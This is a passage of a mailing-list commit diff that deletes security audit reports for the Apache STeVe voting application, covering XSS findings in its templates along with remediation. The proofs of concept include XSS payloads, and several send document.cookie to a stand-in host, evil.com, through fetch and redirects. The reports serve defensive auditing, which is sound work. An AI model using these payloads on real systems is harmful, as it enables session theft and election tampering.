-|---------|----------|------|---------|-----------------|
-| EZT `[format "js,html"]` encoding | `manage.ezt`, `manage-stv.ezt` (JS onclick handlers) | Template-level encoding | Context-aware encoding for JavaScript embedded in HTML attributes | **Partial** – applied in JS onclick contexts only |
-| Client-side `escapeHtml()` | `vote-on.ezt` inline `<script>` | DOM manipulation safety | Sanitization for dynamic DOM element creation | **Partial** – only for dynamic DOM creation, not inline data |
-| `quart.send_from_directory()` | `pages.py` static file serving | Path traversal protection | Secure static file delivery | Adequate for static files |
-| `[format]` EZT directive | EZT template engine | Context-aware encoding | General output encoding capability | **EXISTS but NOT applied** at most HTML output points |
-
----
-
-## Critical File Review
-
-### User-Controlled Data Output Analysis
-
-| File | User-Controlled Data | Encoding Applied | Status |
-|------|---------------------|------------------|--------|
-| `templates/flashes.ezt` | `[flashes.message]` (contains `form.title`, `iid`) | **None** | ❌ VULNERABLE |
-| `templates/manage.ezt` | `[e_title]`, `[issues.title]`, `[issues.description]` in HTML | **None** | ❌ VULNERABLE |
-| `templates/manage.ezt` | `[issues.title]`, `[issues.description]` in JS onclick | `[format "js,html"]` | ✅ Encoded |
-| `templates/admin.ezt` | `[owned.title]`, `[owned.owner_name]`, `[owned.authz]` | **None** | ❌ VULNERABLE |
-| `templates/voter.ezt` | `[open_elections.title]`, `[upcoming_elections.title]` | **None** | ❌ VULNERABLE |
-| `templates/vote-on.ezt` | `[election.title]`, `[issues.title]` in HTML | **None** | ❌ VULNERABLE |
-| `templates/vote-on.ezt` | `[issues.title]`, `[issues.candidates.name]` in JS data | **None** | ❌ VULNERABLE |
-| `templates/e_bad_eid.ezt` | `[eid]` from URL path | **None** | ❌ VULNERABLE |
-| `templates/e_bad_iid.ezt` | `[iid]` from URL path | **None** | ❌ VULNERABLE |
-| `templates/e_bad_pid.ezt` | `[pid]` from URL path | **None** | ❌ VULNERABLE |
-| `templates/header.ezt` | `[title]` in `<title>` | **None needed** – hardcoded strings | ✅ Safe |
-
----
-
-## Findings
-
-### Critical Severity
-
-#### ASVS-121-CRI-001: Stored XSS via Flash Messages Rendered Without HTML Encoding
-
-**Severity:** CRITICAL
-**Gap Type:** B (Control EXISTS but NOT CALLED — `[format "html"]` available in EZT but not used)
-
-**Location:**
-- **File:** `v3/server/templates/flashes.ezt`
-- **Lines:** 1–6
-- **Related Files:** `v3/server/pages.py` (multiple flash calls)
-
-**Related Functions Checked:**
-- `flash_success()` in `pages.py`
-- `flash_danger()` in `pages.py`
-- `do_create_endpoint()` in `pages.py` (~line 455)
-- `do_add_issue_endpoint()` in `pages.py` (~line 518)
-- `do_update_issue_endpoint()` in `pages.py` (~line 537)
-- `load_election_issue()` in `pages.py` (~line 426)
-
-**Vulnerable Code (Template — `flashes.ezt`):**
-```html
-[for flashes]
- <div class="alert alert-[flashes.category] alert-dismissible fade show" role="alert">
- [flashes.message]
- <button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button>
- </div>
-[end]
-```
-
-**Vulnerable Code (Python sources injecting user data into flashes — `pages.py`):**
-```python
-# ~line 455
-await flash_success(f'Created election: {form.title}')
-
-# ~line 518
-await flash_success(f'Issue "{form.title}" has been added.')
-
-# ~line 537
-await flash_success(f'Issue "{form.title}" has been updated.')
-
-# ~line 426
-await flash_danger(f'Invalid issue ID: {iid}')
-```
-
-**Data Flow:**
-```
-POST /do-create-election [form.title = "<img src=x onerror=alert(document.cookie)>"]
- → pages.py:do_create_endpoint() → flash_success(f'Created election: {form.title}')
- → quart session storage (flash)
- → redirect to /manage/<eid>
- → flashes.ezt: [flashes.message] rendered WITHOUT encoding
- → <div class="alert ..."><img src=x onerror=alert(document.cookie)>...</div>
- → XSS executes
-```
-
-**Proof of Concept:**
-```http
-POST /do-create-election HTTP/1.1
-Content-Type: application/x-www-form-urlencoded
-Cookie: session=<valid_session>
-
-title=<img+src%3Dx+onerror%3Dalert(document.cookie)>&csrf_token=placeholder
-```
-On redirect, the flash message `Created election: <img src=x onerror=alert(document.cookie)>` renders unencoded, executing JavaScript.
-
-**Impact:** Any authenticated user creating an election or issue with a malicious title triggers XSS on the subsequent page load. Since flash messages persist in the session, the victim is the user performing the action. An attacker who social-engineers a user into submitting a crafted form (e.g., via CSRF — noted as incomplete) could exploit this against other users.
-
-**Remediation:**
-```html
-[for flashes]
- <div class="alert alert-[flashes.category] alert-dismissible fade show" role="alert">
- [format "html"][flashes.message][end]
- <button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button>
- </div>
-[end]
-```
-
----
-
-#### ASVS-121-CRI-002: Stored XSS via User-Controlled Data Rendered in HTML Context Without Encoding Across Multiple Templates
-
-**Severity:** CRITICAL
-**Gap Type:** B (Control EXISTS — `[format "js,html"]` is used for JS onclick contexts in the **same template files** — but NOT CALLED for HTML body rendering contexts)
-
-**Location:**
-- **Files:**
- - `v3/server/templates/manage.ezt` (lines ~241, ~283)
- - `v3/server/templates/manage-stv.ezt` (lines ~175, ~196)
- - `v3/server/templates/admin.ezt` (line ~19)
- - `v3/server/templates/voter.ezt` (lines ~49, ~96)
- - `v3/server/templates/vote-on.ezt` (lines ~88, ~131, ~163)
-
-**Related Functions Checked:**
-- `do_add_issue_endpoint()` in `pages.py`
-- `election.add_issue()` in `election.py`
-- `election.list_issues()` in `election.py`
-- `rewrite_description()` in `pages.py`
-- `manage_page()` in `pages.py`
-- `vote_on_page()` in `pages.py`
-- `admin_page()` in `pages.py`
-
-**Vulnerable Code (manage.ezt — demonstrating the Type B gap):**
-
-HTML context — **NOT encoded:**
-```html
-<!-- manage.ezt ~line 241 -->
-<strong>[issues.title]</strong>
-```
-```html
-<!-- manage.ezt ~line 283 -->
-<div id="description-[issues.iid]" class="description mt-2">[issues.description]</div>
-```
-
-JavaScript context in the **same file** — **IS encoded:**
-```html
-<!-- manage.ezt ~line 261 -->
-onclick="openEditIssueModal('[issues.iid]',
- '[format "js,html"][issues.title][end]',
- '[format "js,html"][issues.description][end]')"
-```
-
-**Additional Vulnerable Locations:**
-```html
-<!-- admin.ezt -->
-<h5 class="card-title">[owned.title]</h5>
-
-<!-- voter.ezt -->
-<h5 class="card-title mb-3">[open_elections.title]</h5>
-
-<!-- vote-on.ezt -->
-<h1 class="h4 mb-0 fw-semibold">[election.title]</h1>
-<strong>[issues.title]</strong>
-```
-
-**Data Flow:**
-```
-POST /do-add-issue/<eid> [form.title = "<script>fetch('https://evil.com/'+document.cookie)</script>"]
- → pages.py:do_add_issue_endpoint() → election.add_issue(form.title, ...)
- → SQLite database (stored)
- → GET /manage/<eid> or GET /vote-on/<eid>
- → election.list_issues() → template: <strong>[issues.title]</strong>
- → <strong><script>fetch(...)</script></strong>
- → Stored XSS executes for ALL users viewing this election
-```
-
-**Proof of Concept:**
-```http
-POST /do-add-issue/abc1234567 HTTP/1.1
-Content-Type: application/x-www-form-urlencoded
-Cookie: session=<valid_session>
-
-title=%3Cscript%3Efetch('https://evil.com/'+document.cookie)%3C/script%3E&description=test&csrf_token=placeholder
-```
-Every voter accessing `/vote-on/abc1234567` will execute the script.
-
-**Impact:** An election administrator can inject persistent JavaScript that executes in the browsers of **all voters** viewing the election. This compromises voter session cookies, enables vote manipulation, and breaks election integrity.
-
-**Remediation:**
-Apply `[format "html"]` to all user-controlled template variables in HTML contexts:
-```html
-<strong>[format "html"][issues.title][end]</strong>
-<div class="description mt-2">[format "html"][issues.description][end]</div>
-<h5 class="card-title">[format "html"][owned.title][end]</h5>
-<h1 class="h4 mb-0 fw-semibold">[format "html"][election.title][end]</h1>
-```
-
-Additionally, fix `rewrite_description()` in `pages.py` to HTML-encode description text before wrapping in HTML:
-```python
-import html
-
-def rewrite_description(issue):
- desc = html.escape(issue.description) # Encode FIRST
- def repl(match):
- filename = html.escape(match.group(1))
- return f'<a href="/docs/{issue.iid}/{filename}">{filename}</a>'
- desc = re.sub(r'doc:([^\s]+)', repl, desc)
- issue.description = f'<pre>{desc}</pre>'
-```
-
----
-
-#### ASVS-121-CRI-003: Stored XSS via Unencoded Server Data Embedded in JavaScript Context in vote-on.ezt
-
-**Severity:** CRITICAL
-**Gap Type:** B (Control EXISTS — `[format "js,html"]` is used in `manage.ezt` JS onclick handlers — but NOT CALLED for inline JavaScript data embedding in `vote-on.ezt`)
-
-**Location:**
-- **File:** `v3/server/templates/vote-on.ezt`
-- **Lines:** ~215–228 (inline `<script>` block)
-
-**Related Functions Checked:**
-- `vote_on_page()` in `pages.py` (~line 258–263)
-- `election.list_issues()` in `election.py`
-
-**Vulnerable Code:**
-```javascript
-const STV_CANDIDATES = {
- "[issues.iid]": {
- seats: [issues.seats],
- title: "[issues.title]",
- candidates: [
- { label: "[issues.candidates.label]", name: "[issues.candidates.name]" },
- ]
- },
-};
-```
-
-**Source (pages.py ~line 258–263):**
-```python
-for issue in issues_stv:
- issue.seats = issue.kv.get('seats', 0)
- issue.labelmap = edict(issue.kv.get('labelmap', {}))
- issue.candidates = [{'label': k, 'name': v} for k, v in issue.labelmap.items()]
-```
-
-**Data Flow:**
-```
-Admin creates STV issue with title: test", x: 1}; fetch('https://evil.com/'+document.cookie);//
- → stored in database
- → GET /vote-on/<eid>
- → vote_on_page() → template rendering
- → JS: title: "test", x: 1}; fetch('https://evil.com/'+document.cookie);//"
- → JavaScript injection executes
-```
-
-**Proof of Concept:**
-An election admin sets an STV issue title to:
-```
-test", _: 0}; document.location='https://evil.com/?c='+document.cookie;//
-```
-Or sets a candidate name in the KV labelmap to the same payload.
-
-When any voter visits `/vote-on/<eid>`, the rendered JavaScript becomes:
-```javascript
-title: "test", _: 0}; document.location='https://evil.com/?c='+document.cookie;//",
-```
-This breaks out of the string literal and injects arbitrary JavaScript.
-
-**Impact:** An election administrator can inject JavaScript that executes in the context of **every voter** who opens the voting page. The client-side `escapeHtml()` function in the same file does NOT protect against this — it only applies to dynamic DOM operations, not the server-rendered inline data block.
-
-**Remediation:**
-Use `[format "js"]` or `[format "js,html"]` for all user-controlled values in JavaScript contexts:
-```javascript
-const STV_CANDIDATES = {
- "[issues.iid]": {
- seats: [issues.seats],
- title: "[format "js"][issues.title][end]",
- candidates: [
-[for issues.candidates] { label: "[format "js"][issues.candidates.label][end]", name: "[format "js"][issues.candidates.name][end]" },
-[end] ]
- },
-};
-```
-
----
-
-#### ASVS-121-CRI-004: Reflected XSS via URL Path Parameters in Error Templates Without HTML Encoding
-
-**Severity:** CRITICAL
-**Gap Type:** B (Control EXISTS — `[format "html"]` available in EZT — but NOT CALLED in error templates)
-
-**Location:**
-- **Files:**
- - `v3/server/templates/e_bad_eid.ezt` (line 8)
- - `v3/server/templates/e_bad_iid.ezt` (line 8)
- - `v3/server/templates/e_bad_pid.ezt` (line 8)
-- **Related File:** `v3/server/pages.py`
-
-**Related Functions Checked:**
-- `load_election()` decorator in `pages.py` (~line 175)
-- `load_election_issue()` decorator in `pages.py` (~line 200)
-- `admin_page()` in `pages.py` (~line 328)
-
-**Vulnerable Code (e_bad_eid.ezt):**
-```html
-The Election ID ([eid]) does not exist,
-you have no issues to vote in that Election,
-or you are not allowed to manage that Election.
-```
-
-**Vulnerable Code (pages.py — `load_election` decorator):**
-```python
-async def loader(eid):
- try:
- e = steve.election.Election(DB_FNAME, eid)
- except steve.election.ElectionNotFound:
- result = await basic_info()
- result.title = 'Unknown Election'
- result.eid = eid # User-controlled URL parameter set directly
- raise_404(T_BAD_EID, result)
-```
-
-**Data Flow:**
-```
-GET /vote-on/%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E
- → Quart URL-decodes: eid = "<img src=x onerror=alert(1)>"
- → ElectionNotFound raised
- → result.eid = "<img src=x onerror=alert(1)>"
- → e_bad_eid.ezt: The Election ID ([eid]) → rendered without encoding
- → <img src=x onerror=alert(1)> in HTML response
- → Reflected XSS
-```
-
-**Proof of Concept:**
-```
-GET /manage/%3Csvg%20onload%3Dalert(document.domain)%3E HTTP/1.1
-```
-The 404 page renders: `The Election ID (<svg onload=alert(document.domain)>) does not exist...`
-
-**Impact:** An attacker can craft a URL that, when clicked by an authenticated user, executes arbitrary JavaScript in the context of the voting application. This enables session hijacking of authenticated ASF committers.
-
-**Remediation:**
-```html
-<!-- e_bad_eid.ezt -->
-The Election ID ([format "html"][eid][end]) does not exist, ...
-
-<!-- e_bad_iid.ezt -->
-The Issue ID ([format "html"][iid][end]) does not exist, ...
-
-<!-- e_bad_pid.ezt -->
-The Person ID ([format "html"][pid][end]) does not exist, ...
-```
-
----
-
-## Positive Security Patterns
-
-| Pattern | Location | Assessment |
-|---------|----------|------------|
-| Context-aware encoding in JS onclick handlers | `manage.ezt`, `manage-stv.ezt` — `[format "js,html"]` | ✅ Correct dual-context encoding for JavaScript embedded in HTML attributes |
-| Client-side HTML escaping for dynamic DOM | `vote-on.ezt` — `escapeHtml()` in `makeItem()` | ✅ Proper client-side defense for dynamically created elements |
-| Parameterized database queries | `election.py`, `persondb.py` — all `.perform()` calls | ✅ SQL injection prevention through `asfpy.db` parameterization |
-| Hardcoded page titles in `<title>` element | `pages.py` — `result.title = 'Home'`, etc. | ✅ HTML `<title>` uses server-set constants, not user input |
-| `quart.send_from_directory()` for static files | `pages.py:serve_static()` | ✅ Framework-provided path traversal protection |
-| Subresource Integrity (SRI) on CDN resources | `header.ezt`, `footer.ezt` — `integrity=` attributes on CSS/JS | ✅ Prevents tampered CDN delivery |
-
----
-
-## Architecture Observations
-
-1. **EZT does not auto-escape by default.** Unlike modern template engines (Jinja2 with autoescape, Django templates), EZT renders variables verbatim. This means every output point requires explicit `[format]` directives. The codebase demonstrates awareness of this (using `[format "js,html"]` in some places) but applies it inconsistently — only in JavaScript attribute contexts, never in HTML body contexts.
-
-2. **The encoding gap is systematic, not incidental.** Every template that renders user-controlled data in HTML body context lacks encoding. This suggests the developers may have believed EZT auto-escapes (it does not), or that the `[format]` directive was only needed for JavaScript contexts.
-
-3. **The `rewrite_description()` function creates an encoding anti-pattern.** By intentionally constructing HTML (`<pre>`, `<a>`) from user input without pre-escaping, it makes template-level encoding impossible (encoding would break the intended tags). The fix requires encoding at the function level before HTML construction.
-
----
-
-## Recommendations Summary
-
-### Immediate Actions (Priority 1)
-
-| Action | Effort | Impact | Files Affected |
-|--------|--------|--------|----------------|
-| Add `[format "html"]` to ALL user-controlled variables in HTML contexts across all `.ezt` templates | Medium | Eliminates stored and reflected XSS across entire application | All 17 `.ezt` template files |
-
-### Short-term Actions (Priority 2-3)
-
-| Action | Effort | Impact | Files Affected |
-|--------|--------|--------|----------------|
-| Fix `rewrite_description()` to HTML-escape description content before wrapping in `<pre>`/`<a>` tags | Low | Eliminates description-based stored XSS on voting page | `v3/server/pages.py` |
-| Add `[format "js"]` to all user-controlled values in inline `<script>` blocks in `vote-on.ezt` | Low | Eliminates JavaScript injection on voting page | `v3/server/templates/vote-on.ezt` |
-
-### Long-term Actions (Priority 4-5)
-
-| Action | Effort | Impact |
-|--------|--------|--------|
-| Consider migrating to Jinja2 with `autoescape=True` or configuring a global EZT encoding default | High | Eliminates the entire class of encoding omission bugs systematically |
-| Implement a template security review checklist requiring `[format]` on every variable that is not a server-set constant | Low | Prevents regression in new templates |
-
----
-
-## Appendix: Files Analyzed
-
-<details>
-<summary>Click to expand full file list (20 files)</summary>
-
-- `v3/server/api.py` (relevance: 10)
-- `v3/server/pages.py` (relevance: 10)
-- `v3/server/templates/about.ezt` (relevance: 10)
-- `v3/server/templates/admin.ezt` (relevance: 10)
-- `v3/server/templates/e_bad_eid.ezt` (relevance: 10)
-- `v3/server/templates/e_bad_iid.ezt` (relevance: 10)
-- `v3/server/templates/e_bad_pid.ezt` (relevance: 10)
-- `v3/server/templates/flashes.ezt` (relevance: 10)
-- `v3/server/templates/footer.ezt` (relevance: 10)
-- `v3/server/templates/header.ezt` (relevance: 10)
-- `v3/server/templates/home.ezt` (relevance: 10)
-- `v3/server/templates/manage-stv.ezt` (relevance: 10)
-- `v3/server/templates/manage.ezt` (relevance: 10)
-- `v3/server/templates/privacy.ezt` (relevance: 10)
-- `v3/server/templates/profile.ezt` (relevance: 10)
-- `v3/server/templates/settings.ezt` (relevance: 10)
-- `v3/server/templates/vote-on.ezt` (relevance: 10)
-- `v3/server/templates/voter.ezt` (relevance: 10)
-- `v3/steve/election.py` (relevance: 10)
-- `v3/steve/persondb.py` (relevance: 10)
-
-</details>
\ No newline at end of file
diff --git a/repos/apache/ASVS/reports/steve/d0aa7e9/web_input_validation/1.2.2.md b/repos/apache/ASVS/reports/steve/d0aa7e9/web_input_validation/1.2.2.md
deleted file mode 100644
index 2eac349..0000000
--- a/repos/apache/ASVS/reports/steve/d0aa7e9/web_input_validation/1.2.2.md
+++ /dev/null
@@ -1,250 +0,0 @@
-# ASVS 1.2.2 Security Audit Report
-
-## Executive Summary
-
-- **Repository:** apache/steve
-- **Audit Date:** Apr 21, 2026
-- **Auditor:** Tooling Agents
-- **ASVS Requirement:** 1.2.2 — Verify that when dynamically building URLs, untrusted data is encoded according to its context (e.g., URL encoding or base64url encoding for query or path parameters). Ensure that only safe URL protocols are permitted (e.g., disallow javascript: or data:).
- - **Level:** 1
- - **Section:** Injection Prevention
- - **Section Description:** Output encoding or escaping, performed close to or adjacent to a potentially dangerous context, is critical to the security of any application. Typically, output encoding and escaping are not persisted, but are instead used to render output safe for immediate use in the appropriate interpreter. Attempting to perform this too early may result in malformed content or render the encoding or escaping ineffective.
-- **Files analyzed:** 20 relevant out of 20 total, 0 skipped
-
-### Finding Counts
-
-| Severity | Count |
-|----------|-------|
-| Critical | 1 |
-| High | 0 |
-| Medium | 0 |
-| Low | 0 |
-| **Total** | **1** |
-
----
-
-## Security Controls Inventory
-
-| Control Area | Status | Location | Coverage |
-|--------------|--------|----------|----------|
-| URL encoding for dynamic path segments | **ABSENT** in `rewrite_description` | `pages.py:55-63` | Gap at URL construction from user-controlled `doc:` filenames |
-| URL protocol allowlisting | **N/A (implicit safe)** | All URLs use relative paths (`/...`) | All server-side URL constructions start with `/`, preventing protocol injection |
-| EZT `[format "js,html"]` encoding | **APPLIED** for JS contexts | `manage.ezt`, `manage-stv.ezt` | Applied where issue titles/descriptions are injected into JS string literals in `onclick` handlers |
-| Redirect URL construction | **SAFE** | `pages.py` redirect calls | All redirects use hardcoded paths + hex EIDs from database |
-| Template URL interpolation | **SAFE** | All `.ezt` templates | All `[eid]` and `[issues.iid]` values are 10-char hex strings |
-
----
-
-## Critical File Review
-
-### URL Construction and Dynamic Content Files
-
-| File | Risk Area | Functions Reviewed | Status |
-|------|-----------|-------------------|--------|
-| `pages.py` | URL construction with user data | `rewrite_description()` (lines 55-63) | **VULNERABLE** |
-| `pages.py` | Dynamic redirect URLs | All `quart.redirect()` calls | Safe (hex IDs only) |
-| `manage.ezt` | JS URL construction | `form.action` with `[eid]`/`issueId` | Safe (hex IDs only) |
-| `vote-on.ezt` | Form action URLs | `/do-vote/[eid]` | Safe (hex ID) |
-| `voter.ezt` | Vote links | `/vote-on/[open_elections.eid]` | Safe (hex ID) |
-
----
-
-## Findings
-
-### Critical Severity
-
-#### ASVS-122-CRI-001 — Stored XSS via Unencoded Untrusted Data in Dynamically Built URL
-
-**Severity:** Critical
-**Gap Type:** Type A — Entry point with NO control
-**CWE:** CWE-79 (Improper Neutralization of Input During Web Page Generation)
-
-**Location:**
-- **File:** `v3/server/pages.py`
... 8219 lines suppressed ...
---------------------------------------------------------------------
To unsubscribe, e-mail: commits-unsubscribe@tooling.apache.org
For additional commands, e-mail: commits-help@tooling.apache.org